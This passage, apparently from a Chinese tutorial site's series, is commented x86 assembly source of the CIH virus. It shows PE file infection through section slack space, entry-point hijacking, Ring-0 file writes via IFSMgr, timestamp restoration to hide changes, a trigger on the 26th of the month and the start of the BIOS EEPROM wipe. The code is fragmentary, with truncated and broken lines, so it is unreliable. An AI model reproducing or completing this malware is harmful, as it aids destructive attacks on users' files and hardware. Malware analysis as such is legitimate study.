push eax ;block table size
push edx ;edx is the offset of the virus code block table
push esi ;buffer address
;The merged virus code block and virus code block table The total size must be less than or equal to the unused space
inc ecx
push ecx ; Save NumberOfSections+1
shl ecx, 03h ; multiply by 8
push ecx ; reserve virus block table Space
add ecx, eax
add ecx, edx ;ecx+Offset of the text of the file
sub ecx, (SizeOfHeaders-@9)[esi]
not ecx
Inc ecx ; Complement, ecx is file header size - text offset = unused space
push ecx
xchg ecx, eax ;ecx is block table size
## mov eax, (AddressOfEntryPoint-@9][esi] ;Entry RVA address
add eax, (ImageBase-@9)[esi] ;Load base address
mov (OriginalAddressOfEntryPoint-@9)[esi ], eax ;Save the actual entry address after loading
;Compare the unused space with the size of the first block of the virus. If it is smaller, only set the infection flag
cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection
jl OnlySetInfectedMark
;Read all virus block tables
mov eax, ebp;Read function number
call edi;Read block table to esi(@9)
The error in handling Winzip self-extracting files is completely modified below. When the user opens the self-extracting file, the virus will not be infected. First, the virus obtains the ToRawData pointer of the second block table and reads it. Block data, determine whether it contains the words "WinZip(R)" , (SizeOfScetionTable+PointerToRawData-@9][ebx]
;Edx is the offset of the second block (.rdata)
add edx, 12h;Add 10h+2h (10h is "WinZip. ...")
, 'piZn'
je NotSetInfectedMark
pop edx; edx points to the first address of the block table in the file
; Set the virus code block table
pop ebx;The size of the unused space
pop edi;edi = TotalSizeOfVirusCodeSectionTabl
pop ecx; ecx = NumberOfSections+1
push edi
add edx, ebp; ebp is the block table size
push edx;file pointer
add ebp, esi; ebp points to the back of the block table of the virus data area (the first block)
push ebp;Buffer address
; Set the size of the first virus code block
Lea eax, [ebp+edi-04h]
mov [eax], ebx
; Set the first virus block
push ebx; The size of the first block of virus code
## add edx, edi
push edx ;File pointer
lea edi, (MyVirusStart-@9)[esi]
push edi ;Buffer address
;Modify the entry of AddressOfEntryPoint Virus entry
mov (NewAddressOfEntryPoint-@9)[esi], edx;Save the new program entry (virus text)
;Set initial data
lea edx, [esi-SizeOfScetionTable];edx First reduce the length of the block table
mov ebp, offset VirusSize ; ebp is the length of the virus
, SizeOfScetionTable
mov ebx, (SizeOfRawData-@9)[edx] ;ebx is the SizeOfRawData (block size) of the block table item
sub ebx, (VirtualSize-@9][edx] ;Minus VirtualSize equals Unused space in this block
jbe EndOfWriteCodeToSections
push ebx ; Size
sub eax, 08h
mov [eax], ebx ; write virus block table
mov ebx, (PointerToRawData-@9)[edx] ;ebx is the physical (actual) offset of the block
add ebx, (VirtualSize-@9)[edx] ;Add VirtualSize
push ebx ;ebx File pointer pointing to the unused space of the block
push edi; Buffer address
mov ebx, (VirtualSize-@9)[edx]
add ebx, (VirtualAddress-@9 )[edx]
Add ebx, (ImageBase-@9)[esi] ;ebx is the actual address after the block is loaded
mov [eax+4], ebx ;Save to the virus block table
mov ebx, [eax] ;The size of the unused space of the block
add (VirtualSize-@9)[edx], ebx ;The VirtualSize added to the block table entry
;Change the Block attribute of the block table entry (changed to readable and containing initialization data)
or (Characteristics-@9)[edx], 40000040h
;Start writing code
StartToWriteCodeToSections:
sub ebp, ebx ;Virus size-virus block size
;If it is less than (virus insertion is completed), set the virus block table end character
jbe SetVirusCodeSectionTableEndMark
add edi, ebx ;Point to the virus Next block
;End of writing code
EndOfWriteCodeToSections:
loop LoopOfWriteCodeToSections
OnlySetInfectedMark:
mov esp, dr1 ;Only set the infection flag
jmp WriteVirusCodeToFile ;Jump to the program that writes the virus to the file to be infected
;Do not set the infection flag
NotSetInfectedMark:
add esp, 3ch
jmp CloseFile ;Go to CloseFile
;Set the virus block table and mark
SetVirusCodeSectionTableEndMark:
;Adjust the virus block code
add [eax], ebp; Correct the last item of the virus block table
add [esp+08h], ebp
;Set the block table end flag
lea eax, (LastVxdCallAddress-2-@9)[esi] ;The address of the last Vxd instruction called
mov word ptr [eax], 20cdh;Restore to the form of "int 20h"
;Take out the id number of the Vxd call from VxdCallIDTable and put it in edx
mov edx, (VxdCallIDTable+(ecx-1 )*04h-@9)[esi]
mov [eax+2], edx ;Put it after "int 20h"
;VxdCallAddressTable contains the address of each instruction to call Vxd Difference
movzx edx, byte ptr (VxdCallAddressTable+ecx-1-@9)[esi]
sub eax, edx; eax is the previous call address
loop LoopOfRestoreVxdCallID;Restore Other calls
Save the file handle saved in the stack
mov edi, [eax];edi is the IFSMgr_Ring0_FileIO call address saved in the stack
;Loop writing
LoopOfWriteVirusCodeToFile:
pop ecx; Offset of each segment of virus code
jecxz SetFileModificationMark ; Until virus offset zero
mov esi, ecx
mov eax, 0d601h ; Write file function number (R0_WRITEFILE)
pop edx ; File pointer
pop ecx ; Number of bytes to be written
Call edi ; VXD calls IFSMgr_Ring0_FileIO to write the file
; Write each piece of virus code, virus block table, and new
;File block table, new program entry, infection flag
jmp LoopOfWriteVirusCodeToFile
;Modify the last modification time of the file so that the user does not know that the file has been modified
SetFileModificationMark:
pop ebx
pop eax
stc ; Set carry flag
pushf ; Flag bit pushed onto stack
; Close file
CloseFile:
xor eax, eax
mov ah , 0d7h ;Close file function number
Call edi ; Vxd calls IFSMgr_Ring0_FileIO to close the file
popf
pop esi
jnc IsKillComputer ; If the carry flag is 0, turn to KillComputer
# Restore file modification time
mov ebx, edi
mov ax, 4303h
mov ecx, (FileModificationTime-@7)[esi]
mov edi, (FileModificationTime+2-@ 7)[esi]
call ebx; Vxd calls IFSMgr_Ring0_FileIO to modify the last modification time of the file
; Set the not "busy" flag
DisableOnBusy:
dec byte ptr (OnBusy -@7)[esi]
; Call the original FileSystemApiHook
prevhook:
popad;Restore all registers
mov eax, dr0; Save the original file system hook program First address
jmp [eax] ; Jump to the original hook to execute
pIFSFunc:
mov ebx, esp ; ebx points to esp to obtain the parameter address of FileSystemApiHookFunction
push dword ptr [ebx +20h+04h+14h] ;Push parameter pioreqpir onto the stack
Call [ebx+20h+04h] ; Call pIFSFunc FSDFnAddr
Pop ecx
mov [ebx+1ch], eax ; Modify eax The value
; After calling pIFSFunc, obtain the data from the return value pioreq
cmp dword ptr [ebx+20h+04h+04h], 00000024h
jne QuitMyVirusFileSystemHook
;Get the modified date and time of the file in DOS mode
mov eax, [ecx+28h]
mov (FileModificationTime-@6)[esi], eax ;Save the obtained file time and date
;Quit the virus program
QuitMyVirusFileSystemHook:
popad ;Restore all registers
ret ;Exit from the file hook program set by the virus
70h, al
in al, 71h
xor al, 26h ; Determine whether it is the 26th,
jmp DisableOnBusy
ELSE
jnz DisableOnBusy ;If it is not the 26th, turn to DisableOnBusy without destroying
ENDIF
;Start to destroy BIOS EEPROM *
mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi]
;Display the BIOS page of the 000E0000 - 000EFFFF address segment, a total of 64KB
call esi
], 0f24h
call esi
-@10[esi]
mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60h
The above is the source code of the virus program Example analysis-Contents of CIH virus [4]. For more related content, please pay attention to the PHP Chinese website (m.sbmmt.com)!